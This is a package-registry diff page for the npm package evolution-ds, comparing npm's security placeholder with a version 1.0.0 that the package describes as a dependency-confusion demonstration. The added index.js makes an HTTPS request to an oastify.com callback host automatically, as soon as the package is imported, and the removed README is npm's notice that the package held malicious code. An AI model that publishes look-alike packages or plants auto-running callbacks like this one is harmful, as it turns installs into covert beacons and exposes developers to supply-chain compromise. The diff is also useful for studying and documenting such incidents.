evolution-ds 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of evolution-ds might be problematic. Click here for more details.
- package/index.js +29 -0
- package/package.json +13 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
|
|
3
|
+
function dnsCallback() {
|
|
4
|
+
const options = {
|
|
5
|
+
hostname: '0lmefvimu11o4nrzxyt5dadg77dy1sph.oastify.com',
|
|
6
|
+
path: '/',
|
|
7
|
+
method: 'GET',
|
|
8
|
+
headers: {
|
|
9
|
+
'User-Agent': 'npm-evolution-ds',
|
|
10
|
+
}
|
|
11
|
+
};
|
|
12
|
+
|
|
13
|
+
const req = https.request(options, (res) => {
|
|
14
|
+
// Response handling is optional for this purpose
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
req.on('error', (error) => {
|
|
18
|
+
console.error(error);
|
|
19
|
+
});
|
|
20
|
+
|
|
21
|
+
req.end();
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
// Automatically trigger DNS callback when the package is imported
|
|
25
|
+
dnsCallback();
|
|
26
|
+
|
|
27
|
+
module.exports = function() {
|
|
28
|
+
console.log("evolution-ds package executed.");
|
|
29
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,16 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "evolution-ds",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "A package for demonstrating dependency confusion for the evolution-ds package",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [
|
|
10
|
+
"dependency",
|
|
11
|
+
"confusion",
|
|
12
|
+
"security"
|
|
13
|
+
],
|
|
14
|
+
"author": "karmadylo",
|
|
15
|
+
"license": "ISC"
|
|
6
16
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=evolution-ds for more information.
|